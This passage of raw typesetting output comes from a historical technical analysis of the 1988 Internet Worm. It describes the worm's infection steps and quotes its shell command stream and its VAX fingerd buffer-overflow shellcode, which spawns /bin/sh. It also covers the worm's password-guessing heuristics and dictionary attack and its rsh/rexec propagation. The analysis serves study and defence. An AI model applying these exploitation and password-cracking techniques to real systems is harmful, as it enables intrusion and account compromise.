1220(.)S
5037 V
1220(quit)S
5253 V
10 R
970(The)S
1162(infecting)S
1554(Worm)S
1846(would)S
2133(then)S
2342(wait)S
2551(for)S
2704(up)S
2841(to)S
2956(2)S
3044(minutes)S
3399(on)S
3537(the)S
3697(designated)S
4162(port)S
4361(for)S
4515(the)S
4675(vector)S
4962(to)S
5373 V
970(contact)S
1288(it.)S
5529 V
720(3\))S
970(The)S
1157(vector)S
1438(program)S
1809(then)S
2014(connected)S
2451(to)S
2562(the)S
2717(``server,'')S
3150(sent)S
3344(the)S
3499(challenge)S
3914(string,)S
4200(and)S
4377(transferred)S
4841(three)S
5649 V
970(\256les:)S
1201(a)S
1281(Sun)S
1473(3)S
1559(binary)S
1850(version)S
2180(of)S
2299(the)S
2457(Worm,)S
2772(a)S
2851(V)S
8 R
2923(AX)S
10 R
3074(version,)S
3428(and)S
3607(the)S
3764(source)S
4059(code)S
4282(for)S
4433(the)S
4590(vector)S
4874(pro-)S
5769 V
970(gram.)S
1268(After)S
1516(the)S
1676(\256les)S
1881(were)S
2112(copied,)S
2441(the)S
2601(running)S
2950(vector)S
3237(program)S
3613(became)S
3955(\(via)S
4148(the)S
10 I
4309(execl)S
10 R
4552(call\))S
4768(a)S
4851(shell)S
5889 V
970(with)S
1178(its)S
1303(input)S
1539(and)S
1713(output)S
1999(still)S
2180(connected)S
2614(to)S
2722(the)S
2874(server)S
3147(Worm.)S
6045 V
720(4\))S
970(The)S
1155(server)S
1428(Worm)S
1713(sent)S
1904(the)S
2056(following)S
2475(command)S
2899(stream)S
3195(to)S
3303(the)S
3455(connected)S
3889(shell:)S
6238 V
12 C
970(PATH=/bin:/usr/bin:/usr/ucb)S
6371 V
970(rm)S
1186(-f)S
1402(sh)S
6504 V
970(if)S
1186([)S
1330(-f)S
1546(sh)S
1762(])S
6637 V
970(then)S
6770 V
970(P=x14481910)S
6903 V
970(else)S
7036 V
970(P=sh)S
7169 V
970(fi)S
7920 V
EP
%%Page: 8 9
BP
/slant 0 def
/height 1.000000 def
12 C
12 C
480 V
10 R
2792(- 8 -)S
840 V
970(Then,)S
1238(for)S
1392(each)S
1612(binary)S
1905(\256le)S
2071(it)S
2165(had)S
2347(transferred)S
2816(\(just)S
3032(two)S
3221(in)S
3338(this)S
3522(case,)S
3757(although)S
4146(the)S
4307(code)S
4534(is)S
4640(written)S
4962(to)S
960 V
970(allow)S
1222(more\),)S
1515(it)S
1601(would)S
1881(send)S
2094(the)S
2246(following)S
2665(form)S
2889(of)S
3002(command)S
3426(sequence:)S
1153 V
12 C
970(cc)S
1186(-o)S
1402($P)S
1618(x14481910,sun3.o)S
1286 V
970(./$P)S
1330(-p)S
1546($$)S
1762(x14481910,sun3.o)S
2986(x14481910,vax.o)S
4138(x14481910,l1.c)S
1419 V
970(rm)S
1186(-f)S
1402($P)S
1599 V
10 R
970(The)S
10 I
1170(rm)S
10 R
1326(would)S
1621(succeed)S
1981(only)S
2204(if)S
2310(the)S
2477(linked)S
2772(version)S
3111(of)S
3239(the)S
3406(Worm)S
3706(failed)S
3978(to)S
4101(start)S
4318(execution.)S
4806(If)S
4918(the)S
1719 V
970(server)S
1246(determined)S
1728(that)S
1911(the)S
2066(host)S
2266(was)S
2454(now)S
2659(infected,)S
3038(it)S
3126(closed)S
3413(the)S
3567(connection.)S
4092(Otherwise,)S
4559(it)S
4647(would)S
4929(try)S
1839 V
970(the)S
1130(other)S
1373(binary)S
1666(\256le.)S
1857(After)S
2106(both)S
2323(binary)S
2617(\256les)S
2823(had)S
3006(been)S
3233(tried,)S
3480(it)S
3575(would)S
3864(send)S
4086(over)S
10 I
4302(rm)S
10 R
4452(commands)S
4924(for)S
1959 V
970(the)S
1122(object)S
1396(\256les)S
1593(to)S
1701(clear)S
1924(away)S
2164(all)S
2294(evidence)S
2678(of)S
2791(the)S
2943(attempt)S
3273(at)S
3375(infection.)S
2115 V
720(5\))S
970(The)S
1161(new)S
1363(Worm)S
1655(on)S
1792(the)S
1951(infected)S
2309(host)S
2513(proceeded)S
2959(to)S
3074(``hide'')S
3415(itself)S
3652(by)S
3789(obscuring)S
4220(its)S
4352(argument)S
4766(vector,)S
2235 V
970(unlinking)S
1389(the)S
1546(binary)S
1836(version)S
2165(of)S
2283(itself,)S
2543(and)S
2722(killing)S
3019(its)S
3149(parent)S
3433(\(the)S
3622($$)S
3756(argument)S
4167(in)S
4279(the)S
4435(invocation\).)S
4979(It)S
2355 V
970(then)S
1188(read)S
1405(into)S
1607(memory)S
1986(each)S
2214(of)S
2343(the)S
2511(Worm)S
2812(binary)S
3113(\256les,)S
3351(encrypted)S
3790(each)S
4018(\256le)S
4193(after)S
4422(reading)S
4768(it,)S
4896(and)S
2475 V
970(deleted)S
1288(the)S
1440(\256les)S
1637(from)S
1861(disk.)S
2631 V
720(6\))S
970(Next,)S
1229(the)S
1391(new)S
1597(Worm)S
1892(gathered)S
2275(information)S
2788(about)S
3051(network)S
3419(interfaces)S
3847(and)S
4032(hosts)S
4279(to)S
4398(which)S
4683(the)S
4846(local)S
2751 V
970(machine)S
1349(was)S
1545(connected.)S
2045(It)S
2147(built)S
2372(lists)S
2575(of)S
2699(these)S
2945(in)S
3064(memory,)S
3463(including)S
3882(information)S
4395(about)S
4658(canonical)S
2871 V
970(and)S
1158(alternate)S
1545(names)S
1844(and)S
2033(addresses.)S
2515(It)S
2621(gathered)S
3009(some)S
3265(of)S
3393(this)S
3583(information)S
4100(by)S
4245(making)S
4590(direct)S
10 I
4862(ioctl)S
2991 V
10 R
970(calls,)S
1209(and)S
1384(by)S
1515(running)S
1857(the)S
10 I
2010(netstat)S
10 R
2308(program)S
2677(with)S
2887(various)S
3213(arguments.)S
2941 V
7 R
3654(*)S
2991 V
10 R
3721(It)S
3814(also)S
4007(read)S
4210(through)S
4553(various)S
4879(sys-)S
3111 V
970(tem)S
1150(\256les)S
1347(looking)S
1683(for)S
1829(host)S
2026(names)S
2311(to)S
2419(add)S
2593(to)S
2701(its)S
2826(database.)S
3267 V
720(7\))S
970(It)S
1066(randomized)S
1572(the)S
1729(lists)S
1926(of)S
2044(hosts)S
2285(it)S
2376(constructed,)S
2896(then)S
3103(attempted)S
3532(to)S
3645(infect)S
3907(some)S
4153(of)S
4271(them.)S
4561(For)S
4735(directly)S
3387 V
970(connected)S
1407(networks,)S
1831(it)S
1920(created)S
2240(a)S
2317(list)S
2473(of)S
2589(possible)S
2950(host)S
3150(numbers)S
3527(and)S
3703(attempted)S
4129(to)S
4239(infect)S
4498(those)S
4741(hosts)S
4979(if)S
3507 V
970(they)S
1181(existed.)S
1558(Depending)S
2035(on)S
2174(whether)S
2534(the)S
2696(host)S
2903(was)S
3098(remote)S
3415(or)S
3538(attached)S
3910(to)S
4028(a)S
4112(local)S
4346(area)S
4551(network)S
4918(the)S
3627 V
970(Worm)S
1271(\256rst)S
1472(tried)S
1700(to)S
1823(establish)S
2218(a)S
2307(connection)S
2790(on)S
2935(the)S
10 I
3102(telnet)S
10 R
3369(or)S
10 I
3497(rexec)S
10 R
3757(ports)S
4002(to)S
4125(determine)S
4569(reachability)S
3747 V
970(before)S
1254(it)S
1340(attempted)S
1764(an)S
1888(infection.)S
3903 V
720(8\))S
970(The)S
1155(infection)S
1540(attempts)S
1909(proceeded)S
2348(by)S
2478(one)S
2652(of)S
2765(three)S
2994(routes:)S
10 I
3296(rsh,)S
3479(fingerd,)S
10 R
3823(or)S
10 I
3936(sendmail)S
10 R
4297(.)S
4059 V
970(8a\))S
1220(The)S
1406(attack)S
1675(via)S
10 I
1828(rsh)S
10 R
1987(was)S
2173(done)S
2398(by)S
2529(attempting)S
2988(to)S
3097(spawn)S
3383(a)S
3458(remote)S
3766(shell)S
3986(by)S
4118(invocation)S
4572(of)S
4687(\(in)S
4830(order)S
4179 V
1220(of)S
1334(trial\))S
1559(/usr/ucb/rsh,)S
2087(/usr/bin/rsh,)S
2599(and)S
2774(/bin/rsh.)S
3166(If)S
3263(successful,)S
3729(the)S
3882(host)S
4080(was)S
4266(infected)S
4618(as)S
4732(in)S
4840(steps)S
4299 V
1220(1)S
1300(and)S
1474(2a,)S
1623(above.)S
4455 V
970(8b\))S
1220(The)S
1410(attack)S
1683(via)S
1840(the)S
10 I
1997(finger)S
10 R
2271(daemon)S
2622(was)S
2812(somewhat)S
3252(more)S
3493(subtle.)S
3823(A)S
3931(connection)S
4405(was)S
4596(established)S
4575 V
1220(to)S
1335(the)S
1494(remote)S
10 I
1808(finger)S
10 R
2083(server)S
2362(daemon)S
2714(and)S
2894(then)S
3102(a)S
3182(specially)S
3573(constructed)S
4069(string)S
4333(of)S
4452(536)S
4638(bytes)S
4885(was)S
4695 V
1220(passed)S
1533(to)S
1658(the)S
1827(daemon,)S
2215(over\257owing)S
2745(its)S
2887(512)S
3084(byte)S
3303(input)S
3556(bu)S
3656 H
	(f)show 10 -.5 mul h (f)show
10 R
3717(er)S
3841(and)S
4032(overwriting)S
4545(parts)S
4787(of)S
4918(the)S
4815 V
1220(stack.)S
1514(For)S
1687(standard)S
2059(4)S
2143(BSD)S
2372(versions)S
2739(running)S
3084(on)S
3218(V)S
8 R
3290(AX)S
10 R
3440(computers,)S
3915(the)S
4070(over\257ow)S
4458(resulted)S
4807(in)S
4918(the)S
4935 V
1220(return)S
1492(stack)S
1731(frame)S
1997(for)S
2147(the)S
10 I
2303(main)S
10 R
2537(routine)S
2854(being)S
3110(changed)S
3476(so)S
3600(that)S
3785(the)S
3942(return)S
4215(address)S
4549(pointed)S
4884(into)S
5055 V
1220(the)S
1374(bu)S
1474 H
	(f)show 10 -.5 mul h (f)show
10 R
1535(er)S
1644(on)S
1776(the)S
1930(stack.)S
2222(The)S
2409(instructions)S
2908(that)S
3090(were)S
3315(written)S
3630(into)S
3818(the)S
3972(stack)S
4209(at)S
4313(that)S
4494(location)S
4847(were)S
5175 V
1220(a)S
1294(series)S
1551(of)S
1664(no-ops)S
1966(followed)S
2351(by:)S
5368 V
12 C
1220(pushl)S
1920($68732f)S
2970('/sh\\0')S
5501 V
1220(pushl)S
1920($6e69622f)S
2620('/bin')S
5634 V
1220(movl)S
1920(sp,)S
2208(r10)S
5767 V
1220(pushl)S
1920($0)S
5900 V
1220(pushl)S
1920($0)S
6033 V
1220(pushl)S
1920(r10)S
6166 V
1220(pushl)S
1920($3)S
6299 V
1220(movl)S
1920(sp,ap)S
6432 V
1220(chmk)S
1920($3b)S
6612 V
10 R
1220(That)S
1433(is,)S
1555(the)S
1707(code)S
1925(executed)S
2309(when)S
2555(the)S
10 I
2707(main)S
10 R
2937(routine)S
3250(attempted)S
3674(to)S
3782(return)S
4050(was:)S
6862 V
8 Y1
720(333333333333333333)S
6980 V
8 R
820(*)S
900(Ioctl)S
1073(is)S
1154(a)S
1217(U)S
6 R
1275(NIX)S
8 R
1409(call)S
1551(to)S
1641(do)S
1749(device)S
1984(queries)S
2241(and)S
2384(control.)S
2681(Netstat)S
2935(is)S
3017(a)S
3081(status)S
3291(and)S
3435(monitor)S
3716(program)S
4014(showing)S
4314(the)S
4440(state)S
4614(of)S
7080 V
720(network)S
1005(connections.)S
7920 V
EP
%%Page: 9 10
BP
/slant 0 def
/height 1.000000 def
8 R
8 R
480 V
10 R
2792(- 9 -)S
900 V
2676(execve\("/bin/sh",)S
3395(0,)S
3500(0\))S
1080 V
1220(On)S
1381(V)S
8 R
1453(AX)S
10 R
1569(en,)S
1727(this)S
1911(resulted)S
2266(in)S
2383(the)S
2544(Worm)S
2838(connected)S
3281(to)S
3399(a)S
3483(remote)S
3800(shell)S
4029(via)S
4191(the)S
4353(TCP)S
4577(connection.)S
1200 V
1220(The)S
1409(Worm)S
1698(then)S
1904(proceeded)S
2347(to)S
2459(infect)S
2720(the)S
2876(host)S
3077(as)S
3194(in)S
3305(steps)S
3538(1)S
3621(and)S
3798(2a,)S
3950(above.)S
4276(On)S
4431(Suns,)S
4684(this)S
4862(sim-)S
1320 V
1220(ply)S
1393(resulted)S
1754(in)S
1878(a)S
1968(core)S
2185(dump)S
2459(since)S
2710(the)S
2878(code)S
3112(was)S
3313(not)S
3487(in)S
3611(place)S
3867(to)S
3991(corrupt)S
4325(a)S
4415(Sun)S
4617(version)S
4957(of)S
1440 V
10 I
1220(fingerd)S
10 R
1546(in)S
1661(a)S
1742(similar)S
2057(fashion.)S
2443(Curiously,)S
2900(correct)S
3213(machine-speci\256c)S
3925(code)S
4149(to)S
4263(corrupt)S
4587(Suns)S
4818(could)S
1560 V
1220(have)S
1438(been)S
1656(written)S
1969(in)S
2077(a)S
2151(matter)S
2436(of)S
2549(hours)S
2801(and)S
2975(included)S
3349(but)S
3507(was)S
3692(not.)S
3875([26])S
1716 V
970(8c\))S
1220(The)S
1406(Worm)S
1692(then)S
1895(tried)S
2109(to)S
2218(infect)S
2476(the)S
2629(remote)S
2937(host)S
3135(by)S
3266(establishing)S
3775(a)S
3851(connection)S
4321(to)S
4431(the)S
4585(SMTP)S
4879(port)S
1836 V
1220(and)S
1394(mailing)S
1730(an)S
1854(infection,)S
2264(as)S
2377(in)S
2485(step)S
2676(2b,)S
2831(above.)S
1992 V
720(Not)S
910(all)S
1050(the)S
1212(steps)S
1452(were)S
1685(attempted.)S
2174(As)S
2325(soon)S
2554(as)S
2677(one)S
2861(method)S
3201(succeeded,)S
3675(the)S
3837(host)S
4044(entry)S
4289(in)S
4408(the)S
4571(internal)S
4917(list)S
2112 V
720(was)S
905(marked)S
1234(as)S
10 I
1347(infected)S
10 R
1693(and)S
1867(the)S
2019(other)S
2254(methods)S
2623(were)S
2846(not)S
3004(attempted.)S
2268 V
720(9\))S
970(Next,)S
1220(it)S
1307(entered)S
1631(a)S
1706(state)S
1920(machine)S
2289(consisting)S
2727(of)S
2842(\256ve)S
3024(states.)S
3333(Each)S
3564(state)S
3779(but)S
3939(the)S
4093(last)S
4264(was)S
4451(run)S
4616(for)S
4764(a)S
4840(short)S
2388 V
970(while,)S
1252(then)S
1459(the)S
1616(program)S
1989(looped)S
2296(back)S
2519(to)S
2632(step)S
2828(#7)S
2963(\(attempting)S
3459(to)S
3572(break)S
3828(into)S
4019(other)S
4258(hosts)S
4498(via)S
10 I
4654(sendmail,)S
2508 V
970(finger,)S
10 R
1274(or)S
10 I
1397(rsh)S
10 R
1525(\).)S
1653(The)S
1848(\256rst)S
2044(four)S
2250(of)S
2373(the)S
2535(\256ve)S
2725(states)S
2988(were)S
3222(attempts)S
3602(to)S
3721(break)S
3983(into)S
4180(user)S
4387(accounts)S
4777(on)S
4918(the)S
2628 V
970(local)S
1198(machine.)S
1625(The)S
1814(\256fth)S
2015(state)S
2232(was)S
2421(the)S
2577(\256nal)S
2789(state,)S
3031(and)S
3209(occurred)S
3591(after)S
3807(all)S
3941(attempts)S
4314(had)S
4492(been)S
4713(made)S
4962(to)S
2748 V
970(break)S
1222(all)S
1353(passwords.)S
1855(In)S
1969(the)S
2122(\256fth)S
2320(state,)S
2559(the)S
2712(Worm)S
2998(looped)S
3301(forever)S
3620(trying)S
3891(to)S
4001(infect)S
4260(hosts)S
4498(in)S
4608(its)S
4735(internal)S
2868 V
970(tables)S
1233(and)S
1407(marked)S
1736(as)S
1849(not)S
2007(yet)S
2159(infected.)S
2565(The)S
2750(\256rst)S
2936(four)S
3132(states)S
3384(were:)S
3024 V
970(9a\))S
1220(The)S
1426(Worm)S
1732(read)S
1954(through)S
2316(the)S
10 I
2489(/etc/hosts.equiv)S
10 R
3159(\256les)S
3377(and)S
10 I
3572(/.rhosts)S
10 R
3921(\256les)S
4139(to)S
4268(\256nd)S
4476(the)S
4650(names)S
4957(of)S
3144 V
10 I
1220(equivalent)S
10 R
1680(hosts.)S
1984(These)S
2265(were)S
2501(marked)S
2843(in)S
2964(the)S
3129(internal)S
3477(table)S
3714(of)S
3840(hosts.)S
4144(Next,)S
4406(the)S
4571(Worm)S
4869(read)S
3264 V
10 I
1220(/etc/passwd)S
10 R
1724(\(the)S
1917(account)S
2265(and)S
2447(password)S
2862(\256le\))S
3061(into)S
3255(an)S
3387(internal)S
3730(data)S
3934(structure.)S
4376(As)S
4525(it)S
4619(was)S
4812(doing)S
3384 V
1220(this,)S
1421(it)S
1508(also)S
1700(examined)S
2119(the)S
10 I
2272(.forward)S
10 R
2651(\256le)S
2809(\(used)S
3055(to)S
3163(forward)S
3508(mail)S
3716(to)S
3824(a)S
3898(di)S
3976 H
	(f)show 10 -.5 mul h (f)show
10 R
4037(erent)S
4266(host)S
4463(automatically\))S
3504 V
1220(in)S
1332(each)S
1548(user)S
1748(home)S
2004(directory)S
2398(and)S
2576(included)S
2954(any)S
3133(new)S
3334(host)S
3536(names)S
3826(into)S
4017(its)S
4147(internal)S
4487(table)S
4716(of)S
4834(hosts)S
3624 V
1220(to)S
1328(try.)S
1524(Oddly,)S
1829(it)S
1915(did)S
2073(not)S
2231(similarly)S
2617(check)S
2879(user)S
10 I
3075(.rhosts)S
10 R
3375(\256les.)S
3780 V
970(9b\))S
1220(The)S
1420(Worm)S
1720(attempted)S
2159(to)S
2282(break)S
2548(each)S
2775(user)S
2986(password)S
3408(using)S
3670(simple)S
3982(choices.)S
4382(The)S
4583(Worm)S
4884(\256rst)S
3900 V
1220(checked)S
1579(the)S
1734(obvious)S
2084(case)S
2288(of)S
2404(no)S
2537(password.)S
3002(Then,)S
3265(it)S
3354(used)S
3570(the)S
3725(account)S
4068(name)S
4317(and)S
4493(user)S
4691(informa-)S
4020 V
1220(tion)S
1416(\256eld)S
1634(to)S
1752(try)S
1903(simple)S
2210(passwords.)S
2722(Assume)S
3085(that)S
3276(the)S
3439(user)S
3646(had)S
3831(an)S
3966(entry)S
4212(in)S
4331(the)S
4494(password)S
4912(\256le)S
4140 V
1220(like:)S
4320 V
1881(account:abcedfghijklm:100:5:User,)S
3323(Name:/usr/account:/bin/sh)S
4500 V
1220(\(These)S
1551(represent,)S
2001(respectively,)S
2569(the)S
2752(account)S
3123(name,)S
3425(the)S
3608(encrypted)S
4062(password,)S
4525(the)S
4708(user)S
4935(ID)S
4620 V
1220(number,)S
1587(the)S
1745(user's)S
2019(default)S
2332(group)S
2601(ID)S
2742(number,)S
3108(per-user)S
3470(information)S
3978(\256eld,)S
4217(the)S
4375(pathname)S
4799(of)S
4918(the)S
4740 V
1220(user's)S
1497(home)S
1758(account,)S
2132(and)S
2315(the)S
2476(pathname)S
2903(of)S
3025(the)S
3186(user's)S
3464(default)S
3781(command)S
4215(interpreter)S
4670(or)S
10 I
4793(shell.)S
10 R
5007(\))S
4860 V
1220(The)S
1407(words)S
1682(tried)S
1896(as)S
2010(potential)S
2391(passwords)S
2838(would)S
3119(be)S
10 I
3244(account,)S
3616(accountaccount,)S
4304(User,)S
4554(Name,)S
4843(user,)S
4980 V
1220(name)S
10 R
1436(,)S
1491(and)S
10 I
1665(tnuocca.)S
10 R
2036(These)S
2304(are,)S
2480(respectively,)S
3017(the)S
3169(account)S
3509(name,)S
3780(the)S
3932(account)S
4273(name)S
4520(concatenated)S
5100 V
1220(with)S
1441(itself,)S
1709(the)S
1874(\256rst)S
2073(and)S
2260(last)S
2442(names)S
2740(of)S
2866(the)S
3030(user,)S
3263(the)S
3427(user)S
3635(names)S
3932(with)S
4152(leading)S
4488(capital)S
4796(letters)S
5220 V
1220(turned)S
1506(to)S
1615(lower)S
1873(case,)S
2100(and)S
2275(the)S
2428(account)S
2769(name)S
3016(reversed.)S
3439(Experience)S
3918(described)S
4332(in[13])S
4608(shows)S
4890(that)S
5340 V
1220(on)S
1351(systems)S
1698(where)S
1971(users)S
2206(are)S
2357(naive)S
2603(about)S
2855(proper)S
3145(password)S
3552(security,)S
3923(these)S
4158(choices)S
4487(may)S
4689(work)S
4924(for)S
5460 V
1220(a)S
1294(signi\256cant)S
1741(percentage)S
2202(of)S
2315(user)S
2511(accounts.)S
5616 V
1220(Step)S
1428(10)S
1558(in)S
1666(this)S
1841(section)S
2154(describes)S
2555(what)S
2779(was)S
2964(done)S
3188(if)S
3279(a)S
3353(password)S
3760(``hit'')S
4028(was)S
4213(achieved.)S
5772 V
970(9c\))S
1220(The)S
1413(third)S
1640(stage)S
1883(in)S
1999(the)S
2159(process)S
2496(involved)S
2884(trying)S
3161(to)S
3277(break)S
3537(the)S
3698(password)S
4114(of)S
4236(each)S
4457(user)S
4662(by)S
4801(trying)S
5892 V
1220(each)S
1444(word)S
1690(present)S
2019(in)S
2138(an)S
2273(internal)S
2619(dictionary)S
3065(of)S
3189(words)S
3474(\(available)S
3908(in)S
4027([26]\).)S
4292(This)S
4511(dictionary)S
4957(of)S
6012 V
1220(432)S
1408(words)S
1690(was)S
1883(tried)S
2104(against)S
2425(each)S
2645(account)S
2993(in)S
3109(a)S
3191(random)S
3534(order,)S
3808(with)S
4025(``hits'')S
4341(being)S
4602(handled)S
4957(as)S
6132 V
1220(described)S
1632(in)S
1740(step)S
1931(10,)S
2086(below.)S
6288 V
970(9d\))S
1220(The)S
1405(fourth)S
1679(stage)S
1915(was)S
2101(entered)S
2425(if)S
2517(all)S
2648(other)S
2884(attempts)S
3254(failed.)S
3567(For)S
3737(each)S
3950(word)S
4186(in)S
4295(the)S
4448(online)S
4729(diction-)S
6408 V
1220(ary,)S
1409(the)S
1568(Worm)S
1860(would)S
2147(see)S
2311(if)S
2409(it)S
2501(was)S
2692(the)S
2850(password)S
3263(to)S
3377(any)S
3557(account.)S
3958(In)S
4077(addition,)S
4466(if)S
4563(the)S
4721(word)S
4962(in)S
6528 V
1220(the)S
1373(dictionary)S
1809(began)S
2079(with)S
2289(an)S
2415(upper)S
2674(case)S
2877(letter,)S
3139(the)S
3293(letter)S
3530(was)S
3717(converted)S
4142(to)S
4252(lower)S
4511(case)S
4714(and)S
4890(that)S
6648 V
1220(word)S
1455(was)S
1640(also)S
1831(tried)S
2044(against)S
2357(all)S
2487(the)S
2639(passwords.)S
6804 V
720(10\))S
970(Once)S
1230(a)S
1324(password)S
1751(was)S
1956(broken)S
2283(for)S
2449(any)S
2643(account,)S
3028(the)S
3200(Worm)S
3505(would)S
3805(attempt)S
4155(to)S
4284(break)S
4556(into)S
4763(remote)S
6924 V
970(machines)S
1378(where)S
1652(that)S
1833(user)S
2030(had)S
2205(accounts.)S
2640(The)S
2826(Worm)S
3112(would)S
3393(scan)S
3601(the)S
10 I
3754(.forward)S
10 R
4133(and)S
10 I
4308(.rhosts)S
10 R
4608(\256les)S
4805(of)S
4918(the)S
7044 V
970(user)S
1168(at)S
1272(this)S
1450(point,)S
1714(and)S
1891(identify)S
2235(the)S
2390(names)S
2678(of)S
2794(remote)S
3104(hosts)S
3343(that)S
3526(had)S
3703(accounts)S
4085(used)S
4301(by)S
4434(the)S
4589(target)S
4849(user.)S
7164 V
970(It)S
1061(then)S
1263(attempted)S
1687(two)S
1867(attacks:)S
7920 V
EP
%%Page: 10 11
BP
/slant 0 def
/height 1.000000 def
10 R
10 R
480 V
2767(- 10 -)S
840 V
970(10a\))S
1220(The)S
1408(Worm)S
1696(would)S
1979(\256rst)S
2168(attempt)S
2501(to)S
2612(create)S
2882(a)S
2959(remote)S
3269(shell)S
3491(using)S
3741(the)S
10 I
3896(rexec)S
790 V
7 R
4111(*)S
840 V
10 R
4180(service.)S
4551(The)S
4740(attempt)S
960 V
1220(would)S
1510(be)S
1644(made)S
1900(using)S
2157(the)S
2319(account)S
2669(name)S
2925(given)S
3187(in)S
3305(the)S
10 I
3467(.forward)S
10 R
3855(or)S
10 I
3978(.rhosts)S
10 R
4288(\256le)S
4456(and)S
4640(the)S
4802(user's)S
1080 V
1220(local)S
1453(password.)S
1924(This)S
2141(took)S
2358(advantage)S
2801(of)S
2924(users')S
3202(tendency)S
3602(to)S
3720(use)S
3893(the)S
4055(same)S
4300(password)S
4717(on)S
4857(their)S
1200 V
1220(accounts)S
1599(on)S
1729(multiple)S
2093(machines.)S
1356 V
970(10b\))S
1220(The)S
1415(Worm)S
1710(would)S
2000(do)S
2140(a)S
10 I
2224(rexec)S
10 R
2479(to)S
2598(the)S
2761(current)S
3084(host)S
3292(\(using)S
3583(the)S
3746(local)S
3981(user)S
4188(name)S
4445(and)S
4630(password\))S
1476 V
1220(and)S
1408(would)S
1702(try)S
1857(a)S
10 I
1945(rsh)S
10 R
2117(command)S
2555(to)S
2677(the)S
2843(remote)S
3164(host)S
3375(using)S
3636(the)S
3801(username)S
4226(taken)S
4485(from)S
4722(the)S
4887(\256le.)S
1596 V
1220(This)S
1432(attack)S
1704(would)S
1989(succeed)S
2339(when)S
2590(the)S
2747(remote)S
3059(machine)S
3432(had)S
3611(a)S
3690(hosts.equiv)S
4178(\256le)S
4341(or)S
4459(the)S
4616(user)S
4817(had)S
4996(a)S
1716 V
10 I
1220(.rhosts)S
10 R
1520(\256le)S
1678(that)S
1858(allowed)S
2204(remote)S
2511(execution)S
2929(without)S
3265(a)S
3339(password.)S
1836 V
970(If)S
1072(the)S
1231(remote)S
1545(shell)S
1771(was)S
1963(created)S
2287(either)S
2551(way,)S
2779(the)S
2938(attack)S
3213(would)S
3500(continue)S
3881(as)S
4001(in)S
4116(steps)S
4353(1)S
4440(and)S
4621(2a,)S
4777(above.)S
1956 V
970(No)S
1122(other)S
1357(use)S
1520(was)S
1705(made)S
1951(of)S
2064(the)S
2216(user)S
2412(password.)S
2112 V
970(Throughout)S
1481(the)S
1642(execution)S
2069(of)S
2191(the)S
2352(main)S
2592(loop,)S
2835(the)S
2997(Worm)S
3292(would)S
3582(check)S
3854(for)S
4010(other)S
4255(Worms)S
4589(running)S
4940(on)S
2232 V
720(the)S
873(same)S
1109(machine.)S
1533(To)S
1675(do)S
1806(this,)S
2007(the)S
2160(Worm)S
2446(would)S
2727(attempt)S
3058(to)S
3166(connect)S
3506(to)S
3614(another)S
3943(Worm)S
4228(on)S
4358(a)S
4432(local,)S
4681(predeter-)S
2352 V
720(mined)S
1001(TCP)S
1216(socket.)S
2302 V
7 R
1496(\262)S
2352 V
10 R
1562(If)S
1660(such)S
1875(a)S
1951(connection)S
2421(succeeded,)S
2887(one)S
3063(Worm)S
3350(would)S
3632(\(randomly\))S
4113(set)S
4256(an)S
4382(internal)S
4719(variable)S
2472 V
720(named)S
10 I
1018(pleasequit)S
10 R
1461(to)S
1571(1,)S
1678(causing)S
2015(that)S
2196(Worm)S
2482(to)S
2591(exit)S
2772(after)S
2985(it)S
3072(had)S
3247(reached)S
3587(part)S
3773(way)S
3970(into)S
4157(the)S
4310(third)S
4530(stage)S
4766(\(9c\))S
4957(of)S
2592 V
720(password)S
1138(cracking.)S
1577(This)S
1796(delay)S
2053(is)S
2162(part)S
2359(of)S
2484(the)S
2648(reason)S
2950(many)S
3214(systems)S
3573(had)S
3759(multiple)S
4135(Worms)S
4471(running:)S
4852(even)S
2712 V
720(though)S
1038(a)S
1122(Worm)S
1417(would)S
1707(check)S
1979(for)S
2135(other)S
2380(local)S
2614(Worms,)S
2973(it)S
3069(would)S
3359(defer)S
3603(its)S
3738(self-destruction)S
4399(until)S
4623(signi\256cant)S
2832 V
720(e)S
764 H
	(f)show 10 -.5 mul h (f)show
10 R
825(ort)S
967(had)S
1142(been)S
1361(made)S
1608(to)S
1717(break)S
1969(local)S
2194(passwords.)S
2696(Furthermore,)S
3251(race)S
3447(conditions)S
3895(in)S
4004(the)S
4157(code)S
4376(made)S
4624(it)S
4712(possible)S
2952 V
720(for)S
890(Worms)S
1238(on)S
1392(heavily)S
1740(loaded)S
2060(machines)S
2491(to)S
2623(fail)S
2810(to)S
2942(connect,)S
3331(thus)S
3552(causing)S
3911(some)S
4176(of)S
4312(them)S
4565(to)S
4696(continue)S
3072 V
720(inde\256nitely)S
1206(despite)S
1519(the)S
1671(presence)S
2049(of)S
2162(other)S
2397(Worms.)S
3228 V
970(One)S
1188(out)S
1369(of)S
1505(every)S
1779(seven)S
2059(Worms)S
2406(would)S
2709(become)S
3072(``immortal'')S
3624(rather)S
3909(than)S
4134(check)S
4419(for)S
4588(other)S
4846(local)S
3348 V
720(Worms.)S
1107(Based)S
1389(on)S
1527(a)S
1609(generated)S
2034(random)S
2377(number)S
2720(they)S
2930(would)S
3218(set)S
3367(an)S
3499(internal)S
3842(\257ag)S
4030(that)S
4217(would)S
4504(prevent)S
4840(them)S
3468 V
720(from)S
944(ever)S
1145(looking)S
1481(for)S
1627(another)S
1956(Worm)S
2241(on)S
2372(their)S
2586(host.)S
2839(This)S
3048(may)S
3251(have)S
3470(been)S
3689(done)S
3914(to)S
4023(defeat)S
4297(any)S
4472(attempt)S
4803(to)S
4912(put)S
3588 V
720(a)S
801(fake)S
1009(Worm)S
1301(process)S
1637(on)S
1774(the)S
1933(TCP)S
2154(port)S
2352(to)S
2467(kill)S
2638(existing)S
2992(Worms.)S
3378(Whatever)S
3802(the)S
3961(reason,)S
4282(this)S
4463(was)S
4654(likely)S
4918(the)S
3708 V
720(primary)S
1066(cause)S
1317(of)S
1430(machines)S
1837(being)S
2089(overloaded)S
2562(with)S
2770(multiple)S
3134(copies)S
3419(of)S
3532(the)S
3684(Worm.)S
3864 V
970(The)S
1171(Worm)S
1472(attempted)S
1912(to)S
2036(send)S
2265(a)S
2355(UDP)S
2601(packet)S
2907(to)S
3031(the)S
3199(host)S
3412(ernie.berkeley.edu)S
3814 V
7 R
4148(\263)S
3864 V
10 R
4229(approximately)S
4852(once)S
3984 V
720(every)S
973(15)S
1105(infections,)S
1556(based)S
1815(on)S
1947(a)S
2023(random)S
2360(number)S
2697(comparison.)S
3250(The)S
3437(code)S
3657(to)S
3767(do)S
3899(this)S
4076(was)S
4262(incorrect,)S
4672(however,)S
4104 V
720(and)S
896(no)S
1028(information)S
1532(was)S
1720(ever)S
1924(sent.)S
2173(Whether)S
2549(this)S
2727(was)S
